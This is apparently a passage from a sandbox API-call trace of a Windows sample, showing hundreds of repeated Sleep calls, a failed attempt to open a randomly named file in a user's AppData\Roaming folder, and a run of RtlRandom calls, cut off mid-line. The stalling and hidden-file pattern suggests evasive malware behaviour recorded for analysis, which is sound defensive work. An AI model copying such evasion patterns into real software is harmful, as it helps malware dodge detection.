Sleep (dwMilliseconds=0x258) [0145.844] Sleep (dwMilliseconds=0x258) [0145.847] Sleep (dwMilliseconds=0x258) [0145.893] Sleep (dwMilliseconds=0x258) [0145.895] Sleep (dwMilliseconds=0x258) [0145.896] Sleep (dwMilliseconds=0x258) [0145.899] Sleep (dwMilliseconds=0x258) [0145.901] Sleep (dwMilliseconds=0x258) [0145.904] Sleep (dwMilliseconds=0x258) [0145.906] Sleep (dwMilliseconds=0x258) [0145.908] Sleep (dwMilliseconds=0x258) [0145.910] Sleep (dwMilliseconds=0x258) [0145.912] Sleep (dwMilliseconds=0x258) [0145.914] Sleep (dwMilliseconds=0x258) [0145.917] Sleep (dwMilliseconds=0x258) [0145.919] Sleep (dwMilliseconds=0x258) [0145.923] Sleep (dwMilliseconds=0x258) [0145.924] Sleep (dwMilliseconds=0x258) [0145.927] Sleep (dwMilliseconds=0x258) [0145.928] Sleep (dwMilliseconds=0x258) [0146.062] Sleep (dwMilliseconds=0x258) [0146.162] Sleep (dwMilliseconds=0x258) [0146.345] Sleep (dwMilliseconds=0x258) [0146.348] Sleep (dwMilliseconds=0x258) [0146.349] Sleep (dwMilliseconds=0x258) [0146.350] Sleep (dwMilliseconds=0x258) [0146.352] Sleep (dwMilliseconds=0x258) [0146.354] Sleep (dwMilliseconds=0x258) [0146.355] Sleep (dwMilliseconds=0x258) [0146.357] Sleep (dwMilliseconds=0x258) [0146.358] Sleep (dwMilliseconds=0x258) [0146.359] Sleep (dwMilliseconds=0x258) [0146.361] Sleep (dwMilliseconds=0x258) [0146.363] Sleep (dwMilliseconds=0x258) [0146.364] Sleep (dwMilliseconds=0x258) [0146.366] Sleep (dwMilliseconds=0x258) [0146.368] Sleep (dwMilliseconds=0x258) [0146.369] Sleep (dwMilliseconds=0x258) [0146.370] Sleep (dwMilliseconds=0x258) [0146.372] Sleep (dwMilliseconds=0x258) [0146.376] Sleep (dwMilliseconds=0x258) [0146.384] Sleep (dwMilliseconds=0x258) [0146.421] Sleep (dwMilliseconds=0x258) [0146.422] Sleep (dwMilliseconds=0x258) [0146.424] Sleep (dwMilliseconds=0x258) [0146.425] Sleep (dwMilliseconds=0x258) [0146.427] Sleep (dwMilliseconds=0x258) [0146.428] Sleep (dwMilliseconds=0x258) [0146.430] Sleep (dwMilliseconds=0x258) [0146.432] Sleep (dwMilliseconds=0x258) [0146.434] Sleep (dwMilliseconds=0x258) [0146.438] Sleep (dwMilliseconds=0x258) [0146.439] Sleep (dwMilliseconds=0x258) [0146.440] Sleep (dwMilliseconds=0x258) [0146.443] Sleep (dwMilliseconds=0x258) [0146.445] Sleep (dwMilliseconds=0x258) [0146.447] Sleep (dwMilliseconds=0x258) [0146.545] Sleep (dwMilliseconds=0x258) [0146.546] Sleep (dwMilliseconds=0x258) [0146.548] Sleep (dwMilliseconds=0x258) [0146.549] Sleep (dwMilliseconds=0x258) [0146.551] Sleep (dwMilliseconds=0x258) [0146.554] Sleep (dwMilliseconds=0x258) [0146.555] Sleep (dwMilliseconds=0x258) [0146.558] Sleep (dwMilliseconds=0x258) [0146.559] Sleep (dwMilliseconds=0x258) [0146.561] Sleep (dwMilliseconds=0x258) [0146.562] Sleep (dwMilliseconds=0x258) [0146.564] Sleep (dwMilliseconds=0x258) [0146.565] Sleep (dwMilliseconds=0x258) [0146.567] Sleep (dwMilliseconds=0x258) [0146.568] Sleep (dwMilliseconds=0x258) [0146.570] Sleep (dwMilliseconds=0x258) [0146.571] Sleep (dwMilliseconds=0x258) [0146.574] Sleep (dwMilliseconds=0x258) [0146.577] Sleep (dwMilliseconds=0x258) [0146.580] Sleep (dwMilliseconds=0x258) [0146.581] Sleep (dwMilliseconds=0x258) [0146.582] Sleep (dwMilliseconds=0x258) [0146.584] Sleep (dwMilliseconds=0x258) [0146.585] Sleep (dwMilliseconds=0x258) [0146.587] Sleep (dwMilliseconds=0x258) [0146.589] Sleep (dwMilliseconds=0x258) [0146.590] Sleep (dwMilliseconds=0x258) [0146.592] Sleep (dwMilliseconds=0x258) [0146.594] Sleep (dwMilliseconds=0x258) [0146.596] Sleep (dwMilliseconds=0x258) [0146.597] Sleep (dwMilliseconds=0x258) [0146.600] Sleep (dwMilliseconds=0x258) [0146.602] Sleep (dwMilliseconds=0x258) [0146.604] Sleep (dwMilliseconds=0x258) [0146.606] Sleep (dwMilliseconds=0x258) [0146.607] Sleep (dwMilliseconds=0x258) [0146.609] Sleep (dwMilliseconds=0x258) [0146.610] Sleep (dwMilliseconds=0x258) [0146.612] Sleep (dwMilliseconds=0x258) [0146.614] Sleep (dwMilliseconds=0x258) [0146.615] Sleep (dwMilliseconds=0x258) [0146.617] Sleep (dwMilliseconds=0x258) [0146.619] Sleep (dwMilliseconds=0x258) [0146.621] Sleep (dwMilliseconds=0x258) [0146.622] Sleep (dwMilliseconds=0x258) [0146.625] Sleep (dwMilliseconds=0x258) [0146.627] Sleep (dwMilliseconds=0x258) [0146.629] Sleep (dwMilliseconds=0x258) [0146.630] Sleep (dwMilliseconds=0x258) [0146.632] Sleep (dwMilliseconds=0x258) [0146.634] Sleep (dwMilliseconds=0x258) [0146.702] Sleep (dwMilliseconds=0x258) [0146.744] Sleep (dwMilliseconds=0x258) [0146.786] Sleep (dwMilliseconds=0x258) [0146.854] Sleep (dwMilliseconds=0x258) [0146.857] Sleep (dwMilliseconds=0x258) [0146.859] Sleep (dwMilliseconds=0x258) [0146.860] Sleep (dwMilliseconds=0x258) [0146.862] Sleep (dwMilliseconds=0x258) [0146.864] Sleep (dwMilliseconds=0x258) [0146.865] Sleep (dwMilliseconds=0x258) [0146.868] Sleep (dwMilliseconds=0x258) [0146.870] Sleep (dwMilliseconds=0x258) [0146.871] Sleep (dwMilliseconds=0x258) [0146.873] Sleep (dwMilliseconds=0x258) [0146.874] Sleep (dwMilliseconds=0x258) [0146.876] Sleep (dwMilliseconds=0x258) [0146.877] Sleep (dwMilliseconds=0x258) [0146.879] Sleep (dwMilliseconds=0x258) [0146.880] Sleep (dwMilliseconds=0x258) [0146.882] Sleep (dwMilliseconds=0x258) [0146.884] Sleep (dwMilliseconds=0x258) [0146.886] Sleep (dwMilliseconds=0x258) [0146.900] Sleep (dwMilliseconds=0x258) [0146.901] Sleep (dwMilliseconds=0x258) [0146.903] Sleep (dwMilliseconds=0x258) [0146.904] Sleep (dwMilliseconds=0x258) [0146.906] Sleep (dwMilliseconds=0x258) [0146.908] Sleep (dwMilliseconds=0x258) [0146.909] Sleep (dwMilliseconds=0x258) [0146.911] Sleep (dwMilliseconds=0x258) [0146.912] Sleep (dwMilliseconds=0x258) [0146.914] Sleep (dwMilliseconds=0x258) [0146.915] Sleep (dwMilliseconds=0x258) [0146.917] Sleep (dwMilliseconds=0x258) [0146.918] Sleep (dwMilliseconds=0x258) [0146.920] Sleep (dwMilliseconds=0x258) [0146.921] Sleep (dwMilliseconds=0x258) [0146.923] Sleep (dwMilliseconds=0x258) [0146.924] Sleep (dwMilliseconds=0x258) [0146.926] Sleep (dwMilliseconds=0x258) [0146.927] Sleep (dwMilliseconds=0x258) [0146.929] Sleep (dwMilliseconds=0x258) [0146.993] Sleep (dwMilliseconds=0x258) [0147.043] Sleep (dwMilliseconds=0x258) [0147.045] Sleep (dwMilliseconds=0x258) [0147.046] Sleep (dwMilliseconds=0x258) [0147.048] Sleep (dwMilliseconds=0x258) [0147.049] Sleep (dwMilliseconds=0x258) [0147.051] Sleep (dwMilliseconds=0x258) [0147.052] Sleep (dwMilliseconds=0x258) [0147.054] Sleep (dwMilliseconds=0x258) [0147.055] Sleep (dwMilliseconds=0x258) [0147.057] Sleep (dwMilliseconds=0x258) [0147.058] Sleep (dwMilliseconds=0x258) [0147.115] Sleep (dwMilliseconds=0x258) [0147.117] Sleep (dwMilliseconds=0x258) [0147.118] Sleep (dwMilliseconds=0x258) [0147.129] Sleep (dwMilliseconds=0x258) [0147.130] Sleep (dwMilliseconds=0x258) [0147.132] Sleep (dwMilliseconds=0x258) [0147.133] Sleep (dwMilliseconds=0x258) [0147.135] Sleep (dwMilliseconds=0x258) [0147.136] Sleep (dwMilliseconds=0x258) [0147.140] Sleep (dwMilliseconds=0x258) [0147.141] Sleep (dwMilliseconds=0x258) [0147.144] Sleep (dwMilliseconds=0x258) [0147.146] Sleep (dwMilliseconds=0x258) [0147.148] Sleep (dwMilliseconds=0x258) [0147.150] Sleep (dwMilliseconds=0x258) [0147.151] Sleep (dwMilliseconds=0x258) [0147.153] Sleep (dwMilliseconds=0x258) [0147.154] Sleep (dwMilliseconds=0x258) [0147.156] Sleep (dwMilliseconds=0x258) [0147.157] Sleep (dwMilliseconds=0x258) [0147.159] Sleep (dwMilliseconds=0x258) [0147.160] Sleep (dwMilliseconds=0x258) [0147.162] Sleep (dwMilliseconds=0x258) [0147.163] Sleep (dwMilliseconds=0x258) [0147.165] Sleep (dwMilliseconds=0x258) [0147.167] Sleep (dwMilliseconds=0x258) [0147.169] Sleep (dwMilliseconds=0x258) [0147.171] Sleep (dwMilliseconds=0x258) [0147.174] Sleep (dwMilliseconds=0x258) [0147.176] Sleep (dwMilliseconds=0x258) [0147.177] Sleep (dwMilliseconds=0x258) [0147.179] Sleep (dwMilliseconds=0x258) [0147.180] Sleep (dwMilliseconds=0x258) [0147.182] Sleep (dwMilliseconds=0x258) [0147.183] Sleep (dwMilliseconds=0x258) [0147.185] Sleep (dwMilliseconds=0x258) [0147.186] Sleep (dwMilliseconds=0x258) [0147.188] Sleep (dwMilliseconds=0x258) [0147.189] Sleep (dwMilliseconds=0x258) [0147.191] Sleep (dwMilliseconds=0x258) [0147.192] Sleep (dwMilliseconds=0x258) [0147.194] Sleep (dwMilliseconds=0x258) [0147.195] Sleep (dwMilliseconds=0x258) [0147.198] Sleep (dwMilliseconds=0x258) [0147.199] Sleep (dwMilliseconds=0x258) [0147.201] Sleep (dwMilliseconds=0x258) [0147.202] Sleep (dwMilliseconds=0x258) [0147.204] Sleep (dwMilliseconds=0x258) [0147.207] Sleep (dwMilliseconds=0x258) [0147.208] Sleep (dwMilliseconds=0x258) [0147.209] Sleep (dwMilliseconds=0x258) [0147.211] Sleep (dwMilliseconds=0x258) [0147.213] Sleep (dwMilliseconds=0x258) [0147.278] Sleep (dwMilliseconds=0x258) [0147.279] Sleep (dwMilliseconds=0x258) [0147.281] Sleep (dwMilliseconds=0x258) [0147.282] Sleep (dwMilliseconds=0x258) [0147.284] Sleep (dwMilliseconds=0x258) [0147.286] Sleep (dwMilliseconds=0x258) [0147.288] Sleep (dwMilliseconds=0x258) [0147.289] Sleep (dwMilliseconds=0x258) [0147.291] Sleep (dwMilliseconds=0x258) [0147.294] Sleep (dwMilliseconds=0x258) [0147.296] Sleep (dwMilliseconds=0x258) [0147.297] Sleep (dwMilliseconds=0x258) [0147.299] Sleep (dwMilliseconds=0x258) [0147.300] Sleep (dwMilliseconds=0x258) [0147.302] Sleep (dwMilliseconds=0x258) [0147.303] Sleep (dwMilliseconds=0x258) [0147.305] Sleep (dwMilliseconds=0x258) [0147.306] Sleep (dwMilliseconds=0x258) [0147.353] Sleep (dwMilliseconds=0x258) [0147.354] Sleep (dwMilliseconds=0x258) [0147.355] Sleep (dwMilliseconds=0x258) [0147.357] Sleep (dwMilliseconds=0x258) [0147.358] Sleep (dwMilliseconds=0x258) [0147.364] Sleep (dwMilliseconds=0x258) [0147.365] Sleep (dwMilliseconds=0x258) [0147.367] Sleep (dwMilliseconds=0x258) [0147.369] Sleep (dwMilliseconds=0x258) [0147.370] Sleep (dwMilliseconds=0x258) [0147.372] Sleep (dwMilliseconds=0x258) [0147.374] Sleep (dwMilliseconds=0x258) [0147.375] Sleep (dwMilliseconds=0x258) [0147.377] Sleep (dwMilliseconds=0x258) [0147.379] Sleep (dwMilliseconds=0x258) [0147.380] Sleep (dwMilliseconds=0x258) [0147.381] Sleep (dwMilliseconds=0x258) [0147.383] Sleep (dwMilliseconds=0x258) [0147.384] Sleep (dwMilliseconds=0x258) [0147.386] Sleep (dwMilliseconds=0x258) [0147.387] Sleep (dwMilliseconds=0x258) [0147.445] Sleep (dwMilliseconds=0x258) [0147.447] Sleep (dwMilliseconds=0x258) [0147.449] Sleep (dwMilliseconds=0x258) [0147.451] Sleep (dwMilliseconds=0x258) [0147.452] Sleep (dwMilliseconds=0x258) [0147.541] Sleep (dwMilliseconds=0x258) [0147.548] Sleep (dwMilliseconds=0x258) [0147.550] Sleep (dwMilliseconds=0x258) [0147.554] Sleep (dwMilliseconds=0x258) [0147.555] Sleep (dwMilliseconds=0x258) [0147.556] Sleep (dwMilliseconds=0x258) [0147.558] Sleep (dwMilliseconds=0x258) [0147.565] Sleep (dwMilliseconds=0x258) [0147.572] Sleep (dwMilliseconds=0x258) [0147.605] Sleep (dwMilliseconds=0x258) [0147.607] Sleep (dwMilliseconds=0x258) [0147.608] Sleep (dwMilliseconds=0x258) [0147.610] Sleep (dwMilliseconds=0x258) [0147.611] Sleep (dwMilliseconds=0x258) [0147.613] Sleep (dwMilliseconds=0x258) [0147.614] Sleep (dwMilliseconds=0x258) [0147.616] Sleep (dwMilliseconds=0x258) [0147.618] Sleep (dwMilliseconds=0x258) [0147.619] Sleep (dwMilliseconds=0x258) [0147.621] Sleep (dwMilliseconds=0x258) [0147.622] Sleep (dwMilliseconds=0x258) [0147.624] Sleep (dwMilliseconds=0x258) [0147.625] Sleep (dwMilliseconds=0x258) [0147.627] Sleep (dwMilliseconds=0x258) [0147.629] Sleep (dwMilliseconds=0x258) [0147.630] Sleep (dwMilliseconds=0x258) [0147.632] Sleep (dwMilliseconds=0x258) [0147.633] Sleep (dwMilliseconds=0x258) [0147.637] Sleep (dwMilliseconds=0x258) [0147.639] Sleep (dwMilliseconds=0x258) [0147.640] Sleep (dwMilliseconds=0x258) [0147.642] Sleep (dwMilliseconds=0x258) [0147.644] Sleep (dwMilliseconds=0x258) [0147.645] Sleep (dwMilliseconds=0x258) [0147.647] Sleep (dwMilliseconds=0x258) [0147.649] Sleep (dwMilliseconds=0x258) [0147.651] Sleep (dwMilliseconds=0x258) [0147.659] Sleep (dwMilliseconds=0x258) [0147.661] Sleep (dwMilliseconds=0x258) [0147.663] Sleep (dwMilliseconds=0x258) [0147.665] Sleep (dwMilliseconds=0x258) [0147.667] Sleep (dwMilliseconds=0x258) [0147.669] Sleep (dwMilliseconds=0x258) [0147.670] Sleep (dwMilliseconds=0x258) [0147.672] Sleep (dwMilliseconds=0x258) [0147.673] Sleep (dwMilliseconds=0x258) [0147.675] Sleep (dwMilliseconds=0x258) [0147.680] Sleep (dwMilliseconds=0x258) [0147.683] Sleep (dwMilliseconds=0x258) [0147.685] Sleep (dwMilliseconds=0x258) [0147.690] Sleep (dwMilliseconds=0x258) [0147.692] Sleep (dwMilliseconds=0x258) [0147.731] Sleep (dwMilliseconds=0x258) [0147.840] Sleep (dwMilliseconds=0x258) [0147.842] Sleep (dwMilliseconds=0x258) [0147.843] Sleep (dwMilliseconds=0x258) [0147.845] Sleep (dwMilliseconds=0x258) [0147.846] Sleep (dwMilliseconds=0x258) [0147.848] Sleep (dwMilliseconds=0x258) [0147.850] Sleep (dwMilliseconds=0x258) [0147.852] Sleep (dwMilliseconds=0x258) [0147.854] Sleep (dwMilliseconds=0x258) [0147.856] Sleep (dwMilliseconds=0x258) [0147.858] Sleep (dwMilliseconds=0x258) [0147.860] Sleep (dwMilliseconds=0x258) [0147.861] Sleep (dwMilliseconds=0x258) [0147.863] Sleep (dwMilliseconds=0x258) [0147.866] Sleep (dwMilliseconds=0x258) [0147.867] Sleep (dwMilliseconds=0x258) [0148.007] Sleep (dwMilliseconds=0x258) [0148.122] Sleep (dwMilliseconds=0x258) [0148.177] Sleep (dwMilliseconds=0x258) [0148.215] Sleep (dwMilliseconds=0x258) [0148.216] Sleep (dwMilliseconds=0x258) [0148.218] Sleep (dwMilliseconds=0x258) [0148.219] Sleep (dwMilliseconds=0x258) [0148.220] Sleep (dwMilliseconds=0x258) [0148.222] Sleep (dwMilliseconds=0x258) [0148.241] Sleep (dwMilliseconds=0x258) [0148.242] Sleep (dwMilliseconds=0x258) [0148.243] Sleep (dwMilliseconds=0x258) [0148.277] Sleep (dwMilliseconds=0x258) [0148.344] Sleep (dwMilliseconds=0x258) [0148.346] Sleep (dwMilliseconds=0x258) [0148.347] Sleep (dwMilliseconds=0x258) [0148.349] Sleep (dwMilliseconds=0x258) [0148.350] Sleep (dwMilliseconds=0x258) [0148.352] Sleep (dwMilliseconds=0x258) [0148.354] Sleep (dwMilliseconds=0x258) [0148.356] Sleep (dwMilliseconds=0x258) [0148.359] Sleep (dwMilliseconds=0x258) [0148.361] Sleep (dwMilliseconds=0x258) [0148.363] Sleep (dwMilliseconds=0x258) [0148.365] Sleep (dwMilliseconds=0x258) [0148.366] Sleep (dwMilliseconds=0x258) [0148.368] Sleep (dwMilliseconds=0x258) [0148.369] Sleep (dwMilliseconds=0x258) [0148.371] Sleep (dwMilliseconds=0x258) [0148.372] Sleep (dwMilliseconds=0x258) [0148.374] Sleep (dwMilliseconds=0x258) [0148.377] Sleep (dwMilliseconds=0x258) [0148.379] Sleep (dwMilliseconds=0x258) [0148.382] Sleep (dwMilliseconds=0x258) [0148.383] Sleep (dwMilliseconds=0x258) [0148.385] Sleep (dwMilliseconds=0x258) [0148.388] Sleep (dwMilliseconds=0x258) [0148.390] Sleep (dwMilliseconds=0x258) [0148.391] Sleep (dwMilliseconds=0x258) [0148.399] Sleep (dwMilliseconds=0x258) [0148.475] Sleep (dwMilliseconds=0x258) [0148.526] Sleep (dwMilliseconds=0x258) [0148.639] Sleep (dwMilliseconds=0x258) [0148.691] Sleep (dwMilliseconds=0x258) [0148.718] Sleep (dwMilliseconds=0x258) [0148.723] Sleep (dwMilliseconds=0x258) [0148.728] Sleep (dwMilliseconds=0x258) [0148.730] Sleep (dwMilliseconds=0x258) [0148.731] Sleep (dwMilliseconds=0x258) [0148.734] Sleep (dwMilliseconds=0x258) [0148.735] Sleep (dwMilliseconds=0x258) [0148.737] Sleep (dwMilliseconds=0x258) [0148.738] Sleep (dwMilliseconds=0x258) [0148.740] Sleep (dwMilliseconds=0x258) [0148.741] Sleep (dwMilliseconds=0x258) [0148.743] Sleep (dwMilliseconds=0x258) [0148.744] Sleep (dwMilliseconds=0x258) [0148.746] Sleep (dwMilliseconds=0x258) [0148.747] Sleep (dwMilliseconds=0x258) [0148.784] Sleep (dwMilliseconds=0x258) [0148.786] Sleep (dwMilliseconds=0x258) [0148.787] Sleep (dwMilliseconds=0x258) [0148.789] Sleep (dwMilliseconds=0x258) [0148.790] Sleep (dwMilliseconds=0x258) [0148.846] Sleep (dwMilliseconds=0x258) [0148.848] Sleep (dwMilliseconds=0x258) [0148.851] Sleep (dwMilliseconds=0x258) [0148.852] Sleep (dwMilliseconds=0x258) [0148.854] Sleep (dwMilliseconds=0x258) [0148.855] Sleep (dwMilliseconds=0x258) [0148.857] Sleep (dwMilliseconds=0x258) [0148.859] Sleep (dwMilliseconds=0x258) [0148.860] Sleep (dwMilliseconds=0x258) [0148.863] Sleep (dwMilliseconds=0x258) [0148.864] Sleep (dwMilliseconds=0x258) [0148.866] Sleep (dwMilliseconds=0x258) [0148.868] Sleep (dwMilliseconds=0x258) [0148.869] Sleep (dwMilliseconds=0x258) [0148.870] Sleep (dwMilliseconds=0x258) [0148.872] Sleep (dwMilliseconds=0x258) [0148.873] Sleep (dwMilliseconds=0x258) [0148.875] Sleep (dwMilliseconds=0x258) [0148.878] Sleep (dwMilliseconds=0x258) [0148.893] Sleep (dwMilliseconds=0x258) [0148.895] Sleep (dwMilliseconds=0x258) [0148.896] Sleep (dwMilliseconds=0x258) [0148.898] Sleep (dwMilliseconds=0x258) [0148.899] Sleep (dwMilliseconds=0x258) [0148.901] Sleep (dwMilliseconds=0x258) [0148.903] Sleep (dwMilliseconds=0x258) [0148.904] Sleep (dwMilliseconds=0x258) [0148.906] Sleep (dwMilliseconds=0x258) [0148.908] Sleep (dwMilliseconds=0x258) [0148.909] Sleep (dwMilliseconds=0x258) [0148.911] Sleep (dwMilliseconds=0x258) [0148.912] Sleep (dwMilliseconds=0x258) [0148.914] Sleep (dwMilliseconds=0x258) [0148.915] Sleep (dwMilliseconds=0x258) [0148.917] Sleep (dwMilliseconds=0x258) [0148.918] Sleep (dwMilliseconds=0x258) [0148.920] Sleep (dwMilliseconds=0x258) [0148.921] Sleep (dwMilliseconds=0x258) [0148.923] Sleep (dwMilliseconds=0x258) [0148.926] Sleep (dwMilliseconds=0x258) [0148.927] Sleep (dwMilliseconds=0x258) [0148.929] Sleep (dwMilliseconds=0x258) [0148.931] Sleep (dwMilliseconds=0x258) [0148.933] Sleep (dwMilliseconds=0x258) [0148.966] Sleep (dwMilliseconds=0x258) [0148.968] Sleep (dwMilliseconds=0x258) [0148.969] Sleep (dwMilliseconds=0x258) [0148.971] Sleep (dwMilliseconds=0x258) [0148.972] Sleep (dwMilliseconds=0x258) [0148.975] Sleep (dwMilliseconds=0x258) [0148.977] Sleep (dwMilliseconds=0x258) [0149.052] Sleep (dwMilliseconds=0x258) [0149.129] Sleep (dwMilliseconds=0x258) [0149.174] Sleep (dwMilliseconds=0x258) [0149.177] Sleep (dwMilliseconds=0x258) [0149.179] Sleep (dwMilliseconds=0x258) [0149.181] Sleep (dwMilliseconds=0x258) [0149.183] Sleep (dwMilliseconds=0x258) [0149.185] Sleep (dwMilliseconds=0x258) [0149.186] Sleep (dwMilliseconds=0x258) [0149.188] Sleep (dwMilliseconds=0x258) [0149.189] Sleep (dwMilliseconds=0x258) [0149.191] Sleep (dwMilliseconds=0x258) [0149.193] Sleep (dwMilliseconds=0x258) [0149.195] Sleep (dwMilliseconds=0x258) [0149.197] Sleep (dwMilliseconds=0x258) [0149.199] Sleep (dwMilliseconds=0x258) [0149.216] Sleep (dwMilliseconds=0x258) [0149.225] Sleep (dwMilliseconds=0x258) [0149.227] Sleep (dwMilliseconds=0x258) [0149.229] Sleep (dwMilliseconds=0x258) [0149.231] Sleep (dwMilliseconds=0x258) [0149.232] Sleep (dwMilliseconds=0x258) [0149.235] Sleep (dwMilliseconds=0x258) [0149.238] Sleep (dwMilliseconds=0x258) [0149.247] Sleep (dwMilliseconds=0x258) [0149.253] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x26) returned 0x471840 [0149.253] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\wvhwbfa" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\wvhwbfa"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.255] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd7e4e7ba [0149.255] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x6e) returned 0x471890 [0149.255] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xca9cb408 [0149.255] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x82a2c9a7 [0149.255] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x503aaf09 [0149.255] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xfa0551e1 [0149.255] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x1fd27758 [0149.255] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x2c02d7b5 [0149.255] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa4199a0c [0149.255] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x332b70fe [0149.255] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc5fffd6e [0149.255] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x8824afad [0149.255] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x26a5cd1c [0149.255] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd4e02f77 [0149.255] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xcde5a2a0 [0149.255] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd935cbe0 [0149.255] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3a75de5f [0149.255] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x8fe1ed00 [0149.255] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x8734566f [0149.255] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf02ae792 [0149.255] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x34b794f3 [0149.255] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xfcfb8bf2 [0149.255] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc9bf0d8f [0149.255] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9843fbe2 [0149.255] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x79f06b16 [0149.255] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xb7e7bd26 [0149.255] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9cf407c6 [0149.255] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9d50bd85 [0149.255] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa86efe99 [0149.256] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x2567c9f2 [0149.256] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x2867e59d [0149.256] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x8b5dd752 [0149.256] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x85ee2ee3 [0149.256] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa19eb260 [0149.256] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x68632bec [0149.256] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc4916384 [0149.256] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x1427ee03 [0149.256] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x5167a3ce [0149.256] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa9b8efdf [0149.256] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x97e74247 [0149.256] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xdc58a1b6 [0149.256] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa32cfd54 [0149.256] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xb93d34a2 [0149.257] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3f3653e8 [0149.257] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xbe3ccf08 [0149.257] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x447f34da [0149.257] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd232b1f7 [0149.257] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x933db9ee [0149.257] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x5dfb7acc [0149.257] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x2bc29021 [0149.257] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xed459d3 [0149.257] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x58f18ff5 [0149.257] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x2b284a55 [0149.257] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc086105b [0149.257] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd6d9de17 [0149.257] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xbb84be39 [0149.257] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x779a79ab [0149.257] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3896ffb9 [0149.257] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x66013dac [0149.257] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc6e39425 [0149.257] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xdba7fdc7 [0149.257] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xe6761718 [0149.257] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xceedff6d [0149.257] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x7e4a749a [0149.257] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd16c6 [0149.258] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x328916e2 [0149.258] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3c084868 [0149.258] RtlRandom 